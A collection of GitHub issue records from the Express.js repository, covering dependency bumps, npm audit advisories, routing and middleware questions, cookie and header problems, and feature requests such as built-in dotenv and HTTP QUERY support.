> Please sync `""qs"": ""6.11.0"",` to the actual version `""body-parser"": ""1.20.3"",` is using which is `""qs"": ""6.13.0"",`

https://github.com/expressjs/express/commit/4c9ddc1c47bf579e55c2fe837d76a952e9fd8959#commitcomment-146501448
> You should also bump `send` within `""serve-static"": ""1.16.0"",` .
> express requires `""send"": ""0.19.0"",` but `""serve-static"": ""1.16.0"",` requires `""send"": ""0.18.0""`,

So, bump where applicable the following two packages:
```
    ""qs"": ""6.13.0"",
    ""send"": ""0.19.0"",
```

My two cents.

Related:
- https://github.com/expressjs/express/issues/5947
- https://github.com/expressjs/serve-static/issues/175
- https://github.com/expressjs/express/pull/5946
- https://github.com/expressjs/serve-static/pull/176

Linking more related issues:
- https://github.com/pillarjs/send/issues/237
- https://github.com/pillarjs/send/issues/238
- https://github.com/pillarjs/send/issues/239","bug,4.x",2024-09-10T15:45:06Z,2024-09-11T22:30:06Z,15
expressjs/express,2516749289,[v5] Suggestion for migrating wildcard paths handling,"Due to the updates on router and path-to-regex, handling wildcard routes requires a bit of work on the parameters to bring them back to the same values v4 produces when matching routes.

I found this code should work similarly and may help people migrate their routes if they expect variable file / folder paths:

```javascript
import { join, sep } from 'path/posix';

function normalizeWildcardParamToPath(segments) {
  if (!Array.isArray(segments)) {
    return;
  }

  const _segments = segments.map((segment) => segment === '' ? sep : segment);

  return join(..._segments);
}

app.get([ '/files/', '/files/*param0' ], (req, res) => {
  const requestPath = normalizeWildcardParamToPath(req.params.param0) || sep;
  ...
});
```

I thought simply using `join()` would be enough, but when matching folders (e.g, `/files/folder/`), `req.params.param0` would be `[ 'folder', '' ]` and `join()` ignores the empty string value 😩 ",,2024-09-10T15:12:10Z,2024-09-10T15:15:58Z,0
expressjs/express,2516067998,[DEPLOY-ERROR] - TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError - Firebase Functions Project - Updated to Version 5 - Firebase Deploy Failed,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

[DEPLOY-ERROR] - TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError - Firebase Functions Project - Updated to Version 5 - Firebase Deploy Failed



<img width=""1407"" alt=""Screenshot 2024-09-10 at 3 37 19 PM"" src=""https://github.com/user-attachments/assets/e0bc4432-c23d-4b2f-b6bb-a4b8229e8a64"">


kingsman97:functions ahsan$ nmr deploy:specific

> deploy:specific
> npm run pre-deploy && firebase deploy --only functions:get_generic_in_app_notifications,functions:get_user_role_specific_in_app_notifications,functions:get_user_specific_in_app_notifications


> pre-deploy
> npm run unlink-packages


> unlink-packages
> yarn unlink zaions-tool-kit && yarn unlink zaions-express-tool-kit && yarn install --force

yarn unlink v1.22.22
success Removed linked package ""zaions-tool-kit"".
info You will need to run `yarn install --force` to re-install the package that was linked.
✨  Done in 0.04s.
yarn unlink v1.22.22
success Removed linked package ""zaions-express-tool-kit"".
info You will need to run `yarn install --force` to re-install the package that was linked.
✨  Done in 0.05s.
yarn install v1.22.22
[1/5] 🔍  Validating package.json...
[2/5] 🔍  Resolving packages...
[3/5] 🚚  Fetching packages...
[4/5] 🔗  Linking dependencies.... [TRUNCATED]",bug,2024-09-10T10:37:34Z,2024-10-23T20:28:04Z,17
expressjs/express,2515072076,npm audit fails on latest Express version (4.19.2) due to path-to-regexp vulnerability,"# Bug Report: `npm audit` fails on latest Express version (4.19.2) due to `path-to-regexp` vulnerability

## Issue Description

Running `npm audit` on the latest version of Express (`4.19.2`) fails due to a high severity vulnerability in `path-to-regexp` (<0.1.10).

The audit suggests downgrading to `express@3.21.2` to resolve the issue, which introduces breaking changes. This presents a challenge for projects relying on version `4.x` of Express.

Here’s the relevant output from `npm audit`:

```bash
# npm audit report

path-to-regexp  <0.1.10
Severity: high
path-to-regexp outputs backtracking regular expressions - https://github.com/advisories/GHSA-9wv6-86v2-598j
fix available via `npm audit fix --force`
Will install express@3.21.2, which is a breaking change
node_modules/path-to-regexp
  express  4.0.0-rc1 - 5.0.0-alpha.6
  Depends on vulnerable versions of path-to-regexp
  node_modules/express

2 high severity vulnerabilities
```

## Steps to reproduce
```bash
npm install express --save
```

## Expected Behavior

npm audit should not require downgrading to a previous major version of Express, especially one with breaking changes.

## Actual Behavior

The audit report suggests downgrading to express@3.21.2, which would break compatibility with projects using Express 4.x.",bug,2024-09-09T23:00:04Z,2024-09-09T23:08:44Z,1
expressjs/express,2507497498,Express * no longer works (v5.0.0-beta.3),"After npm updated Express to the latest version, * in requests stopped working:

```
        this.expressApp.get('/*', (req, res, next) => {
            console.log(req.url)
            if (req.url.startsWith(""/api"")) {
                next();
                return
            }
            res.sendFile(path.join(__dirname, '..', '..', 'build', 'index.html'));
        });
```
console.log was never logged, and I was just getting 'Cannot GET /'
or another example,
```
        this.expressApp.get('*',(req,res) => console.log(""GET* "" + req.url))
        this.expressApp.get('/',(req,res) => console.log(""GET/ "" + req.url))
        this.expressApp.get('',(req,res) => console.log(""GET "" + req.url))
```
only on https://url.com/ logs out GET/, else says Cannot GET ...

After downgrading to 4.19.2 it all started working, and in above example it started logging GET* on any url. Before it was Cannot GET ...
",bug,2024-09-05T11:17:31Z,2024-09-05T14:16:22Z,2
expressjs/express,2506844679,Special characters are replaced by Replacement Character in all Rest and GraphQL communication,"GET and GraphQL calls (received by and send from our backend) suddenly contain replacement characters for special chars (German ä,ü,ö, the paragraph char,...).
This behaviour started last last week Monday in multiple microservices. Logs show that just before  json/request answers are returned, the text is as it should be. 
What is weird is that this behaviour starts showing after about 30 minutes give or take. When the kubernetes pod is restarted it works again (no replacement chars) until it doesn't.
We compared the package versions in the faulty release of our service with the last working release and the only package that changed was axios (see list below). We tried running a service with the old (and working) axios version but the error still happens.

We are using the same express version (4.19.2) for a long time and this just started happening. I assume it is one of its dependencies but have no clue how to figure out which one it is.
I have installed Express versions 4.18.2 and 4.17.2 in our services and they run as expected (no errors). The following is a list of all packages that our microservice uses:

```
+-- @types/axios@0.14.0
+-- @types/cookie-session@2.0.49
+-- @types/cors@2.8.17
+-- @types/express@4.17.21
+-- @types/jest@29.5.12
+-- @types/js-yaml@4.0.9
+-- @types/jsonwebtoken@8.5.9
+-- @types/pg-format@1.0.5
+-- @types/pg@8.11.8
+-- @types/uuid@8.3.4
+-- axios@1.7.7
+-- cookie-session@1.4.0
+-- cors@2.8.5
+-- express-async-errors@3.1.1
+... [TRUNCATED]",bug,2024-09-05T06:01:27Z,2024-09-05T14:26:11Z,0
expressjs/express,2505497383,"ERROR: Refused to apply style from 'http://localhost:3000/main.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.","### ERROR: Refused to apply style from 'http://localhost:3000/main.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.


**CSS** style doesn't apply to static server and I have done everything humanely and technically possible still yet, CSS style doesn't reflect.
I got rid of the error at some point but the CSS style didn't still reflect.\
Please help!

```
app.use(""/public"", express.static(path.join(__dirname, 'noder')));

app.get('/', (req,res)=>{
        res.sendFile(path.join(__dirname,'noder','index.html'))
});
```
`<link rel=""stylesheet""  href=""/css/main.css"" type=""text/css""/>`
`<link rel=""stylesheet""  href=""main.css"">`
`<link  href=""main.css"" type=""text/css""/>`
`<link  href=""/public/css/main.css"" type=""text/css""/>`

In my `index.html` I have used those linking codes.

I have also used the `/public/ ` type but it still didn't budge.
**Please help!**",question,2024-09-04T14:13:38Z,2024-09-04T14:15:01Z,0
expressjs/express,2494406909,Requests not being forwarded via corporate proxy,"I've put together an ExpressJS proxy server, that uses [http-proxy-middleware](https://www.npmjs.com/package/http-proxy-middleware)  - the user will make a request to our proxy server, which will then make a subsequent request to the destination that we want to go to. The proxy server works fine, but only when I'm working from home, but does not work when I'm in the office.

We have a corporate proxy that is set up on all workstations, and my installed Node instance has both `https-proxy` and `proxy` config settings set up as you can see below:

```
PS C:\MobileDevTesting\express-server2> npm config list
npm WARN config global `--global`, `--local` are deprecated. Use `--location=global` instead.
; ""global"" config from C:\Program Files\nodejs\etc\npmrc

; https-proxy = ""http://prox.org.com:9090/"" ; overridden by user
; proxy = ""http://prox.org.com:9090/"" ; overridden by user 
```

When I use the proxy server from home, works great - no issues, but does not work in the office. My colleague has confirmed that the request does not appear to be going through our proxy (_http://prox.org.com:9090_), and is just trying to go directly to the internet. This request is then blocked by our firewall.

I had assumed that because we had set up the proxy and https-proxy settings in Node, that that would handle this itself but appears not to be the case. We cannot also whitelist the address of the request as it changes regularly.

Is this the correct behaviour from Node/Expr... [TRUNCATED]",question,2024-08-29T13:12:43Z,2024-08-29T13:16:21Z,0
expressjs/express,2491175437,Requests to my express app gets handled in a sync way (instead of async),"```
const express = require(""express"");

const app = express();

app.all('*', async (req, res) => {
    const reqStartTime = Date.now();
    const random = Math.floor(Math.random() * 10);
    console.log(""req received "", req.path, "" startTime "", reqStartTime, "" randomNum "", random);
    if (random > 5) {
        const promise = new Promise((resolve) => {
            setTimeout(resolve, random * 1000);
        });
        await promise;
    }
    console.log(""completed "", req.path, "" "", Date.now() - reqStartTime);
    res.send('Hiiiiiiiii');
});

app.listen(3001, () => {
    console.log(""Server is running on port 3001"");
});
```

This is my basic express app. When I start the server and hit localhost:3001 in my browser for the first time(lets say 8 seconds) it waits for 8 seconds before sending the response.. but if i hit the same request in another tab (irrespective of the random timeout generated), my second request waits until the first one completes and then gets resolved..

Any issues with my code? or am I missing something?
node version - 18.14.2 & npm version - 9.5.0",question,2024-08-28T06:26:23Z,2024-08-29T13:10:27Z,2
expressjs/express,2477811902,Uncaught exception causes Express to set to undefined basic request parameters,"Consider this code:

```js
const express = require('express')
const app = express()
const port = 3000

app.get('/foo/:bar', (req, res) => {
  res.on('finish', () => console.log('onFinish: ' + req.params.bar));
  // uncaught exception
  'nothing' in undefined;
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

`curl http://localhost:3000/foo/blablabla` will cause Express to:

1. Send HTTP 500 (expected)
2. Crash (not expected) 

==> `TypeError: Cannot read properties of undefined (reading 'bar')`

After the uncaught exception, `req.params` is `undefined` (among other req parameters, not listed here). Thus, trying to access `bar` from `undefined` is also an exception, causing the server to crash and terminate. 

Looks like Express ""clears"" some variables in the `req` object.",discuss,2024-08-21T11:37:36Z,2024-08-21T13:08:52Z,4
expressjs/express,2455359160,204 in HTTP or HTTPS,"when i use node.js and Django to create my app, when i set response with status code 204 with some content in Chrome, if the url begin with https, it will response pending on the web and it do not return any thing, but when i use http://localhost:8080, it will return 204 with other content, Why is it that this non-compliant request can get a response over HTTP, but is restricted over HTTPS?",question,2024-08-08T09:47:16Z,2024-08-08T15:38:20Z,4
expressjs/express,2446242616,Feat: Adding in built dotenv support for enviroment variables to speed up development setup,"Been using expressjs for around 3-4 years as my primary tech stack to develop rest apis in nodejs enviroment and I always find it a bit repetitive to setup dotenv using a npm package and wonder why there's no in built support for env variables like in nextjs or vite+reactjs, etc. I'll like to add this feature in the repo to speed up the development setup.",,2024-08-03T08:34:11Z,2024-08-05T17:17:32Z,5
expressjs/express,2446241322,Why there is no in built dotenv support in expressjs app ? ,"Been using expressjs for around 3-4 years as my primary tech stack to develop rest apis in nodejs enviroment and I always find it a bit repetitive to setup dotenv using a npm package and wonder why there's no in built support for env variables like in nextjs or vite+reactjs, etc.

Is there anything like this and if I'll love to know why ? And if possible I'll like to add this feature in the repo to speed up the development setup,
cheers",question,2024-08-03T08:30:30Z,2024-08-03T12:33:20Z,2
expressjs/express,2427224219,(Low) Aikido Vulnerability > path-to-regex,"Aikido reports vulnerability to us because of your path-to-regex dependency version. 
https://security.aikido.dev/cve/AIKIDO-2024-10181
Update your (peer)dependencies to use path-to-regex 7.1.0

# TL;DR
The patched version adds a strict option to detect potential ReDOS issues. The worst case impact for these vulnerabilities can be ""Attacker can trigger DOS-attack via regex"".

# Aikido recommends
Upgrade path-to-regexp library to patch version (7.1.0) and use the 'strict: true' option.",,2024-07-24T10:40:32Z,2024-09-10T16:21:17Z,4
expressjs/express,2410931005,Requesting to nominate IamLizu as a triager,"I have been working with Express.js extensively in my professional career and have a deep appreciation for the project. 

By becoming a triager, I aim to give back to the community that has provided me with such a valuable tool. I am dedicated to helping manage and organize the repository, assisting with issue tracking, and supporting contributors to ensure the project's continued success. 

Additionally, I have a strong desire to contribute to solving issues soon, with the help and guidance of the team, so that I can learn and become more effective in my contributions.",,2024-07-16T11:44:28Z,2024-07-16T16:37:07Z,0
expressjs/express,2395415217,Confusing behavior of applying middleware to paths instead of routers,"It seems that middleware `use`d on routers doesn't get applied to routers themselves, but to paths on which those routers are `use`d.
The docs say:

> A router object is an isolated instance of middleware and routes.

But it doesn't really seem isolated.

Consider code like this:
```js
const router = express.Router();
const routerProtected = express.Router();
const nestedRouter = express.Router();
const nestedRouterProtected = express.Router();

routerProtected.use(authenticateMiddleware);
nestedRouterProtected.use(authenticateMiddleware);

app.use(""/api"", router);
app.use(""/api"", routerProtected); // Everything under /api will now use authenticateMiddleware!
app.use(""/api/nested"", nestedRouter);
app.use(""/api/nested"", nestedRouterProtected);
```

What I expected to happen is for that authentication middleware to only run for methods declared on routers which directly `use`d the middleware, i.e. `routerProtected` and `nestedRouterProtected`.

What actually happens is that once `app.use(""/api"", routerProtected)` runs, all methods declared from here on out under `/api` now have that middleware silently applied to them, including everything under `nestedRouter`, even though `nestedRouter` never `use`d that middleware.

Is this intended behavior?

express version used: `5.0.0-beta.3`","help wanted,5.x,question",2024-07-08T11:48:34Z,2024-07-23T12:49:19Z,10
expressjs/express,2385276620,Feature Request: res.redirect() is able to send more than just GET requests,"Heyy devs of expressjs!

I'm making a simple website and ran into a bit of an issue. Essentially, my website has a list of campgrounds and each campground has a bunch of reviews. A user who is not logged in can still view each campground and the comments on them, but if they try to delete a particular review, they are redirected to the login page. After successful login, I want to redirect to DELETE /campgrounds/:campgroundID/comments/:commentID but unfortunately, res.redirect(...) only alows for GET requests.

This kind of a feature would be super helpful, thanks in advance!!!

P.S. It would be swell if this were possible for POST requests too but the trickier part about that is that the req.body also needs to redirect accordingly.",help wanted,2024-07-02T05:35:52Z,2024-07-17T22:56:26Z,4
expressjs/express,2389354567,Feature request (already implemented): Adding unuse method that does opposite of use.,"Hi 👋,
Before I start, I have already implemented this but need to update tests before opening a pr.

I have a use case where I am dynamically adding and removing routes to a parent express app and found the easiest easy to do this was to add a unuse method in the express library to do the opposite of the use method. I felt this was the cleanest solution and easiest to implement as opposed to traversing private fields in the app object like some others have suggested. This is also a problem that affects other users as seen in the linked stack overflow post. I think it would be mutually beneficial to offer a native solution so that consumers aren't affected by internal changes and support use cases that lead to a hack solution in a stack overflow post.

SO post: https://stackoverflow.com/questions/10378690/remove-route-mappings-in-nodejs-express
Diff: https://github.com/expressjs/express/compare/master...wannawatchmecode:express:master
<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
... [TRUNCATED]",question,2024-06-26T22:12:22Z,2024-08-09T16:01:59Z,6
expressjs/express,2371291487,Investigate replacing `qs`,"## Pros

- Less subdependencies and smaller size:
  - ~1MB (`qs`) vs. ~30 kB (`fast-querystring`)
  - https://npmgraph.js.org/?q=qs vs https://npmgraph.js.org/?q=fast-querystring
  - Also less bloat (14 deps vs 1 deps)
    - `qs`'s subdeps have a lot of recursion in require cycles as well
    - all of qs and it's dependencies is maintained by the same developer (could be a security concern)
  - Might be useful for serverless folks that use `express` (if there's platform that allows `express` to be used, at least)

## Cons

- `fast-querystring` requires at least Node 8:
  - it uses object destructuring and trailing commas
    - it might be possible to convince the author to remove the trailing commas, then it would be usable with Node 6
  - Node 8 has been out of support for more than 5 years now (support stopped on Jan 1st 2019, according to [endoflife.date/nodejs](https://endoflife.date/nodejs))
  - Node 0.10 is even older, I can't even find an EOL date for it
- `fast-querystring` doesn't support setting prototypes
  - this is unsafe either way, though it can probably get released in express v5

## Notes
- Slightly better performance:
  <img src=https://github.com/expressjs/express/assets/29845135/700c5aab-16f2-4eac-b8eb-49899d81c8d5>
  - this test was done using the `benchmark` folder in this repo and just replacing the `require` call to `fast-querystring` on a idling 7950X running Node v8.17.0
- It might be useful to maybe port to using `URLSearchPa... [TRUNCATED]",,2024-06-24T23:26:39Z,2024-07-23T14:45:52Z,22
expressjs/express,2366559256,Outdated debug@2.6.9 package used by express ,"Hello,

Checkmarx scan of my application shows that the package debug@2.6.9 used by express@4.19.2 is outdated and contains 2 vulnerabilities, as you can see it in the picture below : 
![image](https://github.com/expressjs/express/assets/43373719/00ad1186-e05b-4ed5-8605-eb1a1f98aecd)

Details of the vulnerability : 
![image](https://github.com/expressjs/express/assets/43373719/4bb8bd93-61d4-4044-9571-530b212372a4)

Is there something to do about this ?

Thanks",,2024-06-21T13:31:09Z,2024-07-25T00:15:39Z,1
expressjs/express,2349803740,req.setHeader is not a function,"Using Express 4.x according to the official [documentation](https://expressjs.com/en/4x/api.html#req):

>The req object is an enhanced version of Node’s own request object and supports all [built-in fields and methods](https://nodejs.org/api/http.html#http_class_http_incomingmessage).

but when I try to set a header using `req.setHeader` I get an error saying `setHeader is not a function`",bug,2024-06-12T22:53:42Z,2024-06-12T23:03:30Z,4
expressjs/express,2344956546,Generator SASS option deprecated for dart-sass - fails with node-gyp errors,"<!-- The process for bug fixing is:
This was done on Debian machine.

The generator failed when installing the dependencies with `npm i` due to `node-gyp` errors.  The root cause seems to be that the generators lib node-sass uses an out dated node-gyp version.  Plus node-sass has been replaced by dart-sass, and that seems to be the fix;  `npm i sass`.  

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->
",awaiting more info,2024-06-10T22:29:03Z,2024-07-26T20:52:07Z,1
expressjs/express,2340617836,Impossible to catch the cookie client side ,"Hi,i have a issue and now t 72 hour i am  block on that.

I have my website separate in 2 parties:

**back end with express

front end with next js**

I use the express part for the connection on the client side with discord.

On localhost no issue i have my cookie client side and on the back end side too so it works.

But on vercel on production impossible to have the cookie o the client but what is strange on the URL of redirection of passport discord the cookie is set but just the back end have it...

**Now lets go to the code part:**

app.js
```javascript
require('dotenv').config();
const express = require('express');
const mongoose = require('mongoose');
const cors = require('cors');
const path = require('path');
const cookieParser = require('cookie-parser');

//routes
const routes = require('./routes/index');

//init app
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));

// Déterminer les URLs client en fonction de l'environnement
const LOCAL_CLIENT_URL = process.env.LOCAL_CLIENT_URL;
const PRODUCTION_CLIENT_URL = process.env.PRODUCTION_CLIENT_URL;
const clientURL =
	process.env.NODE_ENV === 'development' ? LOCAL_CLIENT_URL : PRODUCTION_CLIENT_URL;

console.log('clientUralAPP', clientURL);
// Configuration CORS
app.use(
	cors({
		origin: [clientURL],

		methods: ['POST', 'GET', 'DELETE', 'PUT'],
		credentials: true,
		exposedHeaders: ['set-cookie'],
	... [TRUNCATED]",question,2024-06-07T14:37:03Z,2024-06-08T00:47:48Z,1
expressjs/express,2338992512,Unable to set Cache-Control Header in nodeJS server response,"<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

I'm trying to return a Cache-Control header in the response from a nodeJS server. Following is my server file:

``` 
/*
 * Express server
 */
const app = express();

/*
 * Health Checks
 */
app.get('/healthcheck', (req, res) => {
	res.set('Cache-Control', 'max-age=300, must-revalidate')
	res.json({
		health: 'OK'
	});
});
```

Screenshot of response headers:
<img width=""703"" alt=""image"" src=""https://github.com/expressjs/express/assets/59695083/e4ce93bf-1228-415f-8483-007f144aae0f"">

I'm able to set any custom headers but not Cache-Control. There are no middlewares that are running. Any ideas on what I could be doing wrong in this case?

Thanks in advance
","help wanted,question",2024-06-06T19:16:34Z,2024-08-23T08:53:19Z,7
expressjs/express,2330036671,Why can't we pass the URL parameters to middleware in router.use()?,"If I have

```
route1.use(test);

route1.post('/:table/insert', async (req, res, next) => {
    // code
}
```

where `test` is

```
function test(req, res, next) {
    console.log(req.params);
    next();
}
```

I'll get an empty object as the output.

Whereas, if I have

```
route1.post('/:table/insert', test, async (req, res, next) => {
    // code
}
```

I'll get the object with the parameters, how it should.

Is this intentional or am I missing something?",question,2024-06-03T02:28:16Z,2024-06-03T14:45:27Z,2
expressjs/express,2322955989,Issue with parsing url query,"Hi there, 

I think I may have found a very weird issue with parsing arrays inside the query of a url sent to express. Now as far as I know, the parsing here is handled by another package (qs), however as the latest express version (v4.19.2) does not use the latest qs version (from what I could tell from my package.lock), I though it best to post this issue here first. 

Basically I have been using the following format to pass arrays through the query for GET calls:

....&filter[a][0]=randomId1&filter[a][1]=randomId2&....

And this worked perfectly for a pretty long time. I only found an issue when the array I was passing had a 21st index (filter[a][21]). Once this happened, the parsing still worked, but rather then having req.query.a (this case) of type 'array', it was instead on object, with numbered indexes. This, of course, broke some of my logic later on, so that's how I came to find out about.

I'm not sure if this is happening due to having an outdated version of 'qs', but it would be nice to update the package first, see if it works, and if not, escalate this issue with qs directly. 

Thank you all for your work!
",bug,2024-05-29T10:24:42Z,2024-05-29T16:17:39Z,4
expressjs/express,2317710784,Add Feature to Update README.txt with Additional Information,"**1.Issue/Feature Description:**

Add a new feature to update the `README.txt` file with additional project information.

**2.Why this issue to be fixed/feature is needed:**

Updating the `README.txt` will provide new users with important information about the project, improving usability and understanding.


**3.How to reproduce, in case of a bug:**

Not applicable for this feature request.


**4.Other notes/Environment Information:**

- Operating System: Windows 10
- Git Version: 2.30.0
- Relevant screenshots or logs can be attached if necessary.",,2024-05-26T13:20:01Z,2024-05-28T15:16:09Z,1
expressjs/express,2309646831,"The connection must not be reset for ""HTTP2-Settings"" request","<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

We are using express.js 4.19.2 as HTTP server in Appium and we can observe an unexpected behaviour when Java HTTP client or any other client with HTTP/2 support tries to connect to it. Such clients usually try to send a request to upgrade the connection to HTTP/2, which contains the `Connection: Upgrade, HTTP2-Settings`. When that happens the server does not respond according to the standard, which makes JdkHttpClient to fail with `java.io.IOException: HTTP/1.1 header parser received no bytes`. Enforcing the client to not send this header (e.g. HTTP/1.1 mode) does not reproduce the above exception. See https://github.com/SeleniumHQ/selenium/issues/13913 for more details.

Unfortunately I was not able to understand what exactly makes java client so unhappy about the current server response, but it would be nice to have at least some server-side workaround for this issue.
",bug,2024-05-22T06:06:08Z,2024-05-22T19:08:22Z,3
expressjs/express,2286651138,"EDIT: False positive - HIGH vulnerability in dependency used, Cookie 0.6.0","We are importing a vulnerability here:
https://github.com/expressjs/express/blob/04bc62787be974874bc1467b23606c36bc9779ba/package.json#L36C1-L36C23

Can we please upgrade to version 0.7.6 or higher?

CVSS score 7.5 in this library
https://github.com/advisories/GHSA-vjrq-cg9x-rfjp
(fixed versions in ticket)",,2024-05-08T23:47:26Z,2024-05-08T23:51:48Z,2
expressjs/express,2286060435,Attaching user-id header to axios interceptor in middleware (is it safe),"I have an express server which has to make requests to another service. That service requires a user-id to be sent in the headers.

Ideally, I would like to set this header in an axios interceptor but I have my worries about doing this. The main concern being a lack of understanding on my part as to what will happen if two overlapping requests are made. It seems to me that two interceptors would be set globally and not associated with any particular request, leading to the user-ids potentially being confused. Would this be the case? If so, could someone suggest a better alternative. This piece of middleware is set in the main.ts file and runs on every request.

Where is a snippet of what I have written:

```typescript
import { Request, Response, NextFunction } from 'express';
import axios from 'axios';
import { UnauthroizedError } from '../errors/HttpErrors';

export const attachUserHeaderMiddleware = async (
  req: Request,
  res: Response,
  next: NextFunction
) => {
  const id = axios.interceptors.request.use(
    (config) => {
      if (!req.auth) {
        throw new UnauthorizedError();
      }

      if (config.url?.startsWith(""/server"")) {
        config.headers['user-id'] = req.auth.user.id;
      }

      return config;
    },
    (error) => {
      return Promise.reject(error);
    }
  );

  res.on('finish', () => ejectInterceptor(id));
  res.on('close', () => ejectInterceptor(id));

  next();
};

const ejectInterceptor = (id: ... [TRUNCATED]","help wanted,question",2024-05-08T17:07:20Z,2024-05-09T21:11:10Z,1
expressjs/express,2279259472,[v4] Deprecate `res.clearCookie` taking `maxAge` and `expires` parameters,"# deprecate accepting `maxAge` and `expires` in CookieOptions passed to `res.clearCookie`.

See https://github.com/expressjs/express/pull/4852#issuecomment-2094520956

> ## I don't want to consider this breaking in v4, but ultimately because even an empty cookie can have semantic meaning, it is
> I think it's debateable whether or not this is truly breaking in v4. I understand it is a change in implementation, but I think the implementation was bugged from the start.
> 
> You can define breaking as anything needing consumers to update their code. If folks had come to rely on the behavior here, for removing the value of a cookie and then resetting the `expires` into the future, then yes that would be breaking, and folks would have to update their code to use `res.cookie` to set a new cookie without a value.
> 
> Unfortunately, even a cookie without a value can have semantic meaning in some applications. So ughhh I guess this is breaking. I think it's a bug in v4, but it would indeed be a breaking change if someone went screwball and used this behavior on purpose in their application. Hmmmm.
> 
> I guess we can deprecate this behavior in v4 and then remove it in v5 for SURE.

",4.x,2024-05-05T00:40:43Z,2024-06-07T23:48:49Z,0
expressjs/express,2277207690,Cross-Origin-Opener-Policy ,"Hi , i have a web app which serve a webassembly app on it .
but when i try to access it from other network , example 

Origin : 192.X.X.2    , Client : 192.X.X.3 

client is accessing origin via http://192.X.X.2:3000/myapp.html   
it open the splash screen html page but it blocks when it try to load the wasm file 

here is the error from console 
The Cross-Origin-Opener-Policy header has been ignored, because the URL's origin was untrustworthy. It was defined either in the final response or a redirect. Please deliver the response using the HTTPS protocol. You can also use the 'localhost' origin instead.

i already added the header 
app.use(function(req, res, next) {
            res.header(""Cross-Origin-Embedder-Policy"", ""require-corp"");
            res.header(""Cross-Origin-Opener-Policy"", ""same-origin"");
            next();
          });

but this is only works when accessing the app via localhost:3000 but not on the IP 
please note I started the express js using app.listen(3000,""0.0.0.0.0""); so it can listen to any interface 

HTTPS is not an option to me because the site is not for public use its only for private use so no domain and webhosting needed for this , 

any ideas ? 

 ",question,2024-05-03T08:41:17Z,2024-05-05T01:14:26Z,1
expressjs/express,2272232021,Error `cause` is not displayed,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

`package.json`:
```json
{
  ""dependencies"": {
    ""express"": ""^4.19.2""
  }
}

```



`server.js`:
```js
const express = require(""express"");

const app = express();

app.get(""/"", (req, res) => {
  throw new Error(""foo"", {
    cause: new Error(""bar""),
  });
});

app.listen(3000, () => {
  console.log(""Server is running on port 3000"");
});

```

```console
$ node server.js
Server is running on port 3000
```

```console
$ curl ""localhost:3000""
```

### Actual

The error `cause` is not displayed.

```
Error: foo
    at /Users/oliver/Code/reduced-test-cases/express-error-cause/server.js:6:9
    at Layer.handle [as handle_request] (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/layer.js:95:5)
    at next (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/route.js:149:13)
    at Route.dispatch (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/route.js:119:3)
    at Layer.handle [as handle_request] (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/layer.js:95:5)
    at /Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/index.... [TRUNCATED]",enhancement,2024-04-30T18:46:42Z,2024-08-17T15:43:33Z,9
expressjs/express,2260757128,Nominating @carpasse to the triage team,"I would like to nominate @carpasse to the triage team. They have been actively helping with GitHub actions and supporting important initiatives such as the OSSF Scorecard (see: https://github.com/expressjs/security-wg/issues/2)

**Here is a summary of their contributions:**

- Pull requests opened: [expressjs](https://github.com/search?q=author%3Acarpasse+org%3Aexpressjs&type=pullrequests), [pillarjs](https://github.com/search?q=author%3Acarpasse+org%3Apillarjs+&type=pullrequests), and [jshttp](https://github.com/search?q=author%3Acarpasse+org%3Ajshttp+&type=pullrequests)
- Comments on pull requests and issues: [expressjs](https://github.com/search?q=commenter%3Acarpasse+org%3Aexpressjs&type=pullrequests), [pillarjs](https://github.com/search?q=commenter%3Acarpasse+org%3Apillarjs&type=pullrequests), and [pillarjs](https://github.com/search?q=commenter%3Acarpasse+org%3Ajshttp&type=pullrequests)

/cc @expressjs/express-tc @expressjs/triagers
",,2024-04-24T08:49:47Z,2024-04-29T07:47:01Z,7
expressjs/express,2254722773,Support HTTP `QUERY` method,"Honestly we might already, but opening this issue to track landing support and writing tests.

Node 21 added support for a new method! `QUERY` which is awesome, looks to have landed here https://github.com/nodejs/node/pull/51719 in `21.7.2` ([changelog](https://github.com/nodejs/node/blob/main/doc/changelogs/CHANGELOG_V21.md#21.7.2))

@wesleytodd any idea what needs to be done to router to support QUERY? If this Issue belongs at `router` plz do move it!
We may actually already support this ¯\_(ツ)_/¯ and it's just that a test is failing.

Im unable to get it to work in Node `21.7.3` currently, and left a comment in the node tracking issue for support https://github.com/nodejs/node/issues/51562


TODO:
- [x] Comment out failing QUERY test until fixed in https://github.com/nodejs/node/pull/51719
